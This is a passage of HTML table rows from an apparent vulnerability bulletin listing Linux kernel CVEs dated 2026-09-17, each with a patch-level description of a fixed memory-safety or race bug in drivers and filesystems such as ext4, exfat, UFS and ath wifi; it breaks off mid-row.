&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: spi: oc-tiny: switch to managed controller allocation The controller is allocated with the non-managed spi_alloc_host() while the interrupt is registered with devm_request_irq(). During removal, spi_bitbang_stop() only unregisters the controller; the subsequent spi_controller_put() then frees the controller together with its embedded driver-private devdata, which is the IRQ handler&#039;s dev_id. The devm_request_irq() release action (free_irq()), which drains the handler, does not run until after .remove() returns. A late or latched interrupt can therefore reach tiny_spi_irq() and dereference already-freed memory (e.g. hw-&amp;gt;base). Switch to devm_spi_alloc_host() so that the devres LIFO order releases the controller only after free_irq() has drained the handler, and drop the now-redundant spi_controller_put() from .remove(). The probe error path is simplified to direct returns. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90433&quot; target=&quot;_blank&quot;&gt;CVE-2026-90433&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: isofs: release zisofs block pointer buffer head zisofs_fill_pages() reads the compressed block pointer table. The error paths release the current buffer_head, the loop also releases the old buffer_head when it advances. However, the success path leaves the last buffer_head referenced. Release it before returning success.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90434&quot; target=&quot;_blank&quot;&gt;CVE-2026-90434&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: keembay - Initialize completion before requesting IRQ kmb_ocs_aes_probe() requests the device IRQ before initializing irq_completion. Once the handler is registered it can run immediately, and ocs_aes_irq_handler() unconditionally calls complete(). An interrupt in this window would therefore use an uninitialized completion. Initialize the completion before requesting the IRQ, as the sibling OCS HCU and ECC drivers already do.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92476&quot; target=&quot;_blank&quot;&gt;CVE-2026-92476&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: debugfs: Reserve space for a string terminator ufs_saved_err_write() copies user input into a zero-initialized stack buffer and passes it to kstrtoint(). A write that fills the entire buffer overwrites its only terminator. Reject an input whose length leaves no room for the trailing NUL.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92477&quot; target=&quot;_blank&quot;&gt;CVE-2026-92477&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: core: Validate connected lane counts The connected lane count is used by TX equalization code to index arrays sized by UFS_MAX_LANES. Reject zero and out-of-range RX or TX lane counts before they can be propagated.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92478&quot; target=&quot;_blank&quot;&gt;CVE-2026-92478&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: Avoid NULL CQE dereference when reporting invalid tags The single-doorbell completion path can call ufshcd_compl_one_cqe() with a NULL CQE. If no command is associated with the completion tag, the warning message dereferences the CQE while reporting the error. Avoid that dereference and include the invalid tag in the warning.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92479&quot; target=&quot;_blank&quot;&gt;CVE-2026-92479&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: core: Validate string descriptors The string descriptor length includes a two-byte header while the UTF-16 payload starts after it. utf16s_to_utf8s() expects a count of UTF-16 code units, not bytes. Passing the payload byte count can make it read beyond the descriptor buffer. Validate that the payload has an even byte count, pass a code-unit count to the converter, and allocate sufficient UTF-8 output space. The raw string buffer starts after the descriptor header but its size is bLength. Copying bLength bytes from that pointer can read beyond the response buffer. Allocate a zeroed bLength-sized buffer and copy only the UTF-16 payload. This preserves the raw buffer size consumed by the RPMB device-ID ABI while avoiding the overread.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92480&quot; target=&quot;_blank&quot;&gt;CVE-2026-92480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: pinctrl: mediatek: free EINT resources on unbind mtk_eint_do_init() creates an IRQ domain, populates it with a mapping for every EINT line and installs a chained handler on the parent interrupt, but none of these are ever released. This was harmless while the drivers were built-in, but now that they can be built as modules and unbound/rmmod&#039;d it leaves behind a dangling IRQ domain, interrupt mappings whose chip data points at freed memory, and a chained handler that keeps firing into that freed data. The plain allocations in mtk_eint_do_init() already use the device-managed devm_*() helpers, so tear the remaining resources down the same way: register a devm action that detaches the chained handler, waits for any in-flight handler to finish, disposes of the per-line mappings and removes the IRQ domain. This mirrors the device-managed lifecycle adopted for the GPIO chip and keeps the whole EINT setup self-cleaning on unbind.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92481&quot; target=&quot;_blank&quot;&gt;CVE-2026-92481&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: pinctrl: mediatek: use devm_gpiochip_add_data() for GPIO chip The gpio_chip is allocated with device-managed memory but registered with the non-managed gpiochip_add_data(). This was harmless while the drivers were built-in, but once they can be built as modules and unbound/rmmod&#039;d, devm frees the gpio_chip&#039;s memory while it is still registered, causing a use-after-free. Register it with devm_gpiochip_add_data() so it shares the same device-managed lifecycle, which also lets the manual gpiochip_remove() error paths go away.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92482&quot; target=&quot;_blank&quot;&gt;CVE-2026-92482&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: liveupdate: Remember FLB retrieve() status LUO keeps track of successful retrieve attempts on an FLB. It does so to avoid multiple retrievals of the same FLB. Multiple retrievals cause problems because once the FLB is retrieved, the serialized data structures are likely freed and the FLB is likely in a very different state from what the code expects. All this works well when retrieve succeeds. When it fails, luo_flb_retrieve_one() returns the error immediately, without ever storing anywhere that a retrieve was attempted or what its error code was. If the user attempts to retrieve another file registered with the same FLB, LUO will attempt to call the FLB&#039;s retrieve() callback again. The retry is problematic for much of the same reasons listed above. The FLB is likely in a very different state than what the retrieve logic normally expects (e.g. some KHO pages may have already been restored and freed). There is no sane way of attempting the retrieve again. Remember the error retrieve returned and directly return it on a retry. This is done by changing the retrieved bool to a retrieve_status integer. A value of 0 means retrieve was never attempted, a positive value means it succeeded, and a negative value means it failed and the error code is the value. This is similar to commit f85b1c6af5bc (&quot;liveupdate: luo_file: remember retrieve() status&quot;) which did the same for LUO files.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92483&quot; target=&quot;_blank&quot;&gt;CVE-2026-92483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cxl/region: Fix use-after-free in find_pos_and_ways() error path The error path releases its reference to a switch decoder before logging an error that includes the decoder name. If the released reference is the last one, the decoder can be freed before the error message accesses its name. Drop the reference after the error is reported.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92484&quot; target=&quot;_blank&quot;&gt;CVE-2026-92484&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix CFI mismatch in task work callback BPF subprograms use the bpf_callback_t ABI, but task work invokes the callback through a three-argument function pointer. This trips kCFI. Store and invoke the callback as bpf_callback_t.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92486&quot; target=&quot;_blank&quot;&gt;CVE-2026-92486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: exfat: fix valid_size extension over a shared writable mapping When a shared writable mapping has its valid_size extended by a buffered write or a page fault, exfat zeroes the page-cache gap below the new valid_size. A store through the mapping can race with this zeroing and be overwritten. Fix this by zeroing the gap lazily. Drop -&amp;gt;map_pages so that every first write fault goes through exfat_page_mkwrite(), which advances valid_size to cover the faulting page. With fault-around enabled, a store could install a writable PTE, skip -&amp;gt;page_mkwrite(), and land past valid_size without advancing it. Extending valid_size one faulting page at a time also leaves never-written pages in a large mapping alone. The gap is filled with block granularity, zeroing only the not-uptodate blocks and preserving blocks that may hold data stored through the mapping. On the buffered-write path the invalidate lock is held and the gap is unmapped before zeroing, so a racing store re-faults and, under the inode lock, completes only after the gap has been zeroed and valid_size covers it.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92487&quot; target=&quot;_blank&quot;&gt;CVE-2026-92487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Unrequest devices if driver registration fails scmi_driver_register() requests protocol devices before registering the driver. If driver_register() fails, those requests remain in the global IDR and retain pointers to the module&#039;s ID table. Once the failed module load releases that storage, later request matching or SCMI device creation can dereference the stale pointers. Unrequest the complete protocol table before returning the registration failure. At this point table registration succeeded, so every entry is owned by the current registration attempt.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92490&quot; target=&quot;_blank&quot;&gt;CVE-2026-92490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Roll back partial protocol table registration scmi_protocol_table_register() can leave earlier requests registered when a later entry in the same ID table fails. Each request retains a pointer to the driver&#039;s ID table, so a failed module load can leave a dangling pointer after the module storage is released. Unrequest only the successfully registered prefix, in reverse order, before returning the failure. Leave the failed entry and the remaining entries untouched because matching requests can be owned by another driver.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92491&quot; target=&quot;_blank&quot;&gt;CVE-2026-92491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cpufreq/amd-pstate: handle missing policy in dynamic EPP callbacks cpufreq_cpu_get() returns NULL when no cpufreq policy is associated with the requested CPU, for example because the CPU is offline or the policy has already been torn down. Both amd_pstate_power_supply_notifier() and amd_pstate_profile_set() acquire a policy via cpufreq_cpu_get() and then pass that pointer to amd_pstate_get_balanced_epp() and amd_pstate_set_epp(), which dereference it unconditionally. A racing CPU hotplug or driver teardown can therefore lead to a NULL pointer dereference on either of these dynamic EPP paths. The third cpufreq_cpu_get() caller in this file, amd_pstate_verify(), already handles the NULL case. Bring the two new callers in line with that pattern: return NOTIFY_OK from the power-supply notifier (matching the other &quot;nothing to do&quot; exits) and -ENODEV from amd_pstate_profile_set() (the usual cpufreq error for a missing CPU policy). Found by code inspection; not tested on hardware.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92492&quot; target=&quot;_blank&quot;&gt;CVE-2026-92492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cpufreq: amd-pstate-ut: Skip tests when amd-pstate driver is not active The crash issue may occur when modprobe amd_pstate_ut on intel platform. amd_pstate_ut: 1 amd_pstate_ut_acpi_cpc_valid success! amd_pstate_ut: 2 amd_pstate_ut_check_enabled success! BUG: kernel NULL pointer dereference, address: 0000000000000080 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 0 P4D 0 Oops: 0000 [#1] SMP NOPTI CPU: 0 PID: 20300 Comm: modprobe Kdump: loaded Tainted: G O 6.6.0-0010.rc1.ctl4.x86_64 #1 Hardware name: FiberHome R2200 V5/Xeon Boards, BIOS 3.1a 02/24/2020 RIP: 0010:amd_pstate_ut_check_perf+0x141/0x280 [amd_pstate_ut] Call Trace: &amp;lt;TASK&amp;gt; amd_pstate_ut_init+0x1b/0xff0 [amd_pstate_ut] ? __pfx_amd_pstate_ut_init+0x10/0x10 [amd_pstate_ut] do_one_initcall+0x42/0x2e0 ? kmalloc_trace+0x26/0x90 do_init_module+0x60/0x240 __se_sys_init_module+0x185/0x1c0 do_syscall_64+0x62/0x190 entry_SYSCALL_64_after_hwframe+0x76/0x7e &amp;lt;/TASK&amp;gt; Add state detection to amd pstate driver to prevent amd_pstate_ut driver from testing on non-AMD platforms. (ML: adjust title)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92493&quot; target=&quot;_blank&quot;&gt;CVE-2026-92493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext4: fix buffer_head leak in ext4_init_orphan_info ext4_init_orphan_info() reads orphan file blocks with ext4_bread() and stores the returned buffer_head in oi-&amp;gt;of_binfo[i].ob_bh. If ext4_bread() succeeds but the orphan block magic or checksum validation fails, the function jumps to out_free. However, the old out_free loop starts releasing buffers from i - 1, so the current buffer_head at index i is skipped. This leaks the buffer_head reference obtained by ext4_bread() on the bad magic and bad checksum error paths. Fix this by tracking the number of successfully read buffer_heads and releasing exactly those buffer_heads on the error path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92494&quot; target=&quot;_blank&quot;&gt;CVE-2026-92494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/bnxt_re: Clear VM_MAYWRITE on DBR/toggle page mmap bnxt_re_mmap() rejects VM_WRITE for the DBR_PAGE and TOGGLE_PAGE mmap flags, but a read-only mapping can still retain VM_MAYWRITE. nd later be upgraded with mprotect(PROT_WRITE). This can bypass the write check that only runs at mmap time. Clear VM_MAYWRITE before vm_insert_page() in the shared DBR/toggle-page branch, matching the existing policy that userspace writes are not expected for these pages.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92495&quot; target=&quot;_blank&quot;&gt;CVE-2026-92495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: Avoid buffer overread in ath11k_wmi_tlv_op_rx() Currently, in ath11k_wmi_tlv_op_rx(), the firmware buffer is read without first verifying that the buffer has enough data to hold a header. This could result in a buffer overread. Add an upfront length check before dereferencing skb-&amp;gt;data as a wmi_cmd_hdr. The check is placed before the trace_ath11k_wmi_event() call to preserve the existing trace semantics (tracing the full raw WMI event including the header), unlike the analogous ath12k fix which could use skb_pull_data() directly. Compile tested only.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92496&quot; target=&quot;_blank&quot;&gt;CVE-2026-92496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: Avoid buffer overread in ath12k_wmi_op_rx() Currently, in ath12k_wmi_op_rx(), the firmware buffer is read without first verifying that the buffer has enough data to hold a header. This could result in a buffer overread. Update the logic to verify the buffer contains at least enough data to hold a wmi_cmd_hdr before reading from the buffer. Tested-on: WCN7850 hw2.0 PCI WLAN.HMT.1.1.c7-00108-QCAHMTSWPL_V1.0_V2.0_SILICONZ_UPSTREAM-3&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92497&quot; target=&quot;_blank&quot;&gt;CVE-2026-92497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath6kl: avoid buffer overreads in WMI event handlers The following WMI event handlers currently read from the event buffer without first verifying that the message was large enough to hold the expected event: ath6kl_wmi_scan_complete_rx() ath6kl_wmi_addba_req_event_rx() ath6kl_wmi_delba_req_event_rx() Add length checks to prevent overread.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92498&quot; target=&quot;_blank&quot;&gt;CVE-2026-92498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext4: validate readdir offset before accessing dirent A corrupted directory can trigger the following KASAN report when ext4_readdir() resumes from an invalid position: BUG: KASAN: use-after-free in __ext4_check_dir_entry+0x5ef/0x820 Read of size 2 at addr ffff88810a646000 by task repro_linear/509 Call Trace: &amp;lt;TASK&amp;gt; dump_stack_lvl+0x53/0x70 print_report+0xd0/0x630 kasan_report+0xce/0x100 __ext4_check_dir_entry+0x5ef/0x820 ext4_readdir+0xcde/0x2b70 iterate_dir+0x1a1/0x520 __x64_sys_getdents64+0x12b/0x220 do_syscall_64+0xf9/0x540 entry_SYSCALL_64_after_hwframe+0x77/0x7f &amp;lt;/TASK&amp;gt; KASAN reports use-after-free because the out-of-bounds access lands in an adjacent freed page. The directory buffer itself is still referenced. ext4_dir_llseek() invalidates the directory cookie so that ext4_readdir() rescans directory entries from the start of the block. The rescan checks only the lower bound of rec_len before advancing. A corrupted rec_len can therefore place the offset where the block has insufficient space for a complete directory entry. The rescan itself may dereference that truncated entry, or the main loop may pass it to __ext4_check_dir_entry(). The latter reads de-&amp;gt;rec_len before validating the range. For example: block offset 0 4092 4096 |---- de1.rec_len = 4092 -----|----| de2.inode | de2.rec_len ^ OOB, reported as UAF de2 starts at offset 4092 in this 4 KiB block. Its four-byte inode fits in the block, but its rec_len starts at offset 4096 and crosses the boundary. The minimum safe length is inode-dependent. Encrypted and casefolded directory entries need eight additional hash bytes, while a valid metadata checksum tail is only 12 bytes. Cache the metadata checksum feature state and derive the minimum directory entry length from the on-disk format. Use it to bound both the rescan and the offset passed to the main loop. Report an offset in a truncated block tail and skip the remainder of the block, while continuing to accept an offset exactly at the block boundary.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92499&quot; target=&quot;_blank&quot;&gt;CVE-2026-92499&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext4: use fsdata to track inline data write state and fix race Instead of checking the live inode state (ext4_has_inline_data(inode) and ext4_test_inode_state(inode, EXT4_STATE_MAY_INLINE_DATA)) in the write_end handlers, use the fsdata parameter of the address space operations to explicitly pass down the state in which write_begin prepared the write. A concurrent thread (such as ext4_page_mkwrite()) can convert the inline data to an extent between write_begin and write_end. If this happens, the write_end handlers would previously miss the inline write_end path and fall through to extent-based write_end logic. However, since block buffers were never allocated in write_begin, this resulted in NULL pointer dereferences or data loss because folio_buffers(folio) was NULL. Define EXT4_WRITE_DATA_INLINE (4) as a bit flag (Bit 2), treating fsdata as bitwise flags rather than mutually exclusive enums to keep states of the write path independent. Communicate this state via fsdata: 1) ext4_write_begin() and ext4_da_write_begin() set the EXT4_WRITE_DATA_INLINE bit in *fsdata via bitwise OR when an inline write is successfully prepared. 2) On entry, ext4_write_begin() clears the EXT4_WRITE_DATA_INLINE bit to safely handle VFS retries (where generic_perform_write() bypasses the fsdata initialization on its retry jump). 3) The write_end handlers perform a bitwise AND to check if the EXT4_WRITE_DATA_INLINE bit is set and invoke the inline write_end helper accordingly. Furthermore, during a buffered write, ext4_write_inline_data_end() acquires the xattr lock after preparing the write. If a concurrent page fault (ext4_page_mkwrite()) converts the inline data to an extent after the write_end handlers check the state but before ext4_write_inline_data_end() acquires the xattr write lock, the subsequent check will trigger a kernel panic via BUG_ON(!ext4_has_inline_data(inode)). To keep git history working and bisectability clean, replace the BUG_ON check in ext4_write_inline_data_end() with a graceful error- handling retry path in this same commit. If the inline data is cleared after locking the xattr, we safely release all resources (releasing iloc.bh, unlocking/putting the folio, stopping the active journal transaction handle) and return 0 (VFS retry) to let the generic write path retry the operation safely.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92500&quot; target=&quot;_blank&quot;&gt;CVE-2026-92500&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext4: drain in-flight DIO before buffered write fallback generic/746 started failing intermittently on ext3 (no-extent inodes). The test triggers &#039;Page cache invalidation failure on direct I/O&#039; warnings and subsequent fsync returns -EIO. Adding a 50ms delay between ext4_buffered_write_iter() and filemap_write_and_wait_range() in ext4_dio_write_iter() makes the race almost always reproducible. On no-extent inodes, DIO writes to holes cannot use unwritten extents, so ext4_iomap_alloc() leaves m_flags=0 and ext4_map_blocks() returns 0. The iomap layer then returns -ENOTBLK, causing fallback to buffered I/O. The fallback path in ext4_dio_write_iter() calls ext4_buffered_write_iter() which dirties pages, then does flush and invalidate. However, there&#039;s an unprotected window between ext4_buffered_write_iter() returning (with inode lock released) and the subsequent flush+invalidate. Concurrent async DIO completions from other threads can run kiocb_invalidate_post_direct_write() during this window. If pages have been re-dirtied, post-invalidation finds dirty pages and triggers the warning, setting -EIO in the error sequence. Consider a file with two 4k extents: [hole][written]. Thread A does DIO to the written extent, while thread B does DIO spanning both: kworker A (4k DIO, allocated block) kworker B (8k DIO, fallback) ----------------------------------- ---------------------------- inode_lock_shared() inode_lock_shared() iomap_dio_rw(): iomap_dio_rw(): kiocb_invalidate_pages -&amp;gt; clean iomap_begin -&amp;gt; -ENOTBLK submit_bio (async) dio-&amp;gt;size = 0 inode_unlock_shared() inode_unlock_shared() [bio pending in block layer] /* fallback: lock released */ ext4_buffered_write_iter() inode_lock(exclusive) generic_perform_write() -&amp;gt; dirty pages [0, 8k] inode_unlock(exclusive) /* pages dirty, no lock */ [bio completes] filemap_write_and_wait_range() iomap_dio_complete() -&amp;gt; flush dirty pages kiocb_invalidate_post_direct_write() invalidate_mapping_pages() invalidate_inode_pages2_range() -&amp;gt; finds dirty page! -&amp;gt; dio_warn_stale_pagecache() -&amp;gt; errseq_set(-EIO) This issue can be triggered through normal I/O paths, not just intentionally overlapping DIO writes from userspace. For example, generic/746 uses a loop device where multiple kworkers issue concurrent I/O to the backing file. Additionally, when block_size &amp;lt; folio_size, non-overlapping DIO writes that share a large folio can also trigger the race. Add inode_dio_wait() in ext4_buffered_write_iter() before ext4_write_checks() to drain all in-flight DIO. This ensures that all DIO clears existing pages before submitting IO (via kiocb_invalidate_pages()), all BIO waits for all DIO to complete (via inode_dio_wait()), and ext4_write_checks() observes the inode size after all completed DIO so that ext4_block_zero_eof() does not race with in-flight DIO, thus eliminating the race.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92501&quot; target=&quot;_blank&quot;&gt;CVE-2026-92501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext4: clear stale xarray tags on folios skipped during writeback In data=journal mode, the writeback thread can hit the WARN_ON_ONCE(sb_rdonly(sb)) in ext4_journal_check_start() while the superblock is being remounted read-only during reboot: Workqueue: writeback wb_workfn (flush-253:0) RIP: 0010:ext4_journal_check_start+0x8b/0xd0 Call Trace: __ext4_journal_start_sb+0x3c/0x1e0 mpage_prepare_extent_to_map+0x4af/0x580 ext4_do_writepages+0x3c0/0x1080 ext4_writepages+0xc8/0x1a0 do_writepages+0xc4/0x180 __writeback_single_inode+0x45/0x2f0 writeback_sb_inodes+0x26b/0x5d0 __writeback_inodes_wb+0x54/0x100 wb_writeback+0x1ac/0x320 wb_workfn+0x394/0x470 And followed by the warning: EXT4-fs warning (device vda1): ext4_evict_inode:195: inode #6263: comm (sd-umount): data will be lost This issue is not reproduced every time, but frequently. The reproduction step is to create a VM with 8 CPUs, 16G memory and setup data=journal: sudo tune2fs -o journal_data /dev/vda1 Run fio: rm -f fiotest fio --name=fiotest 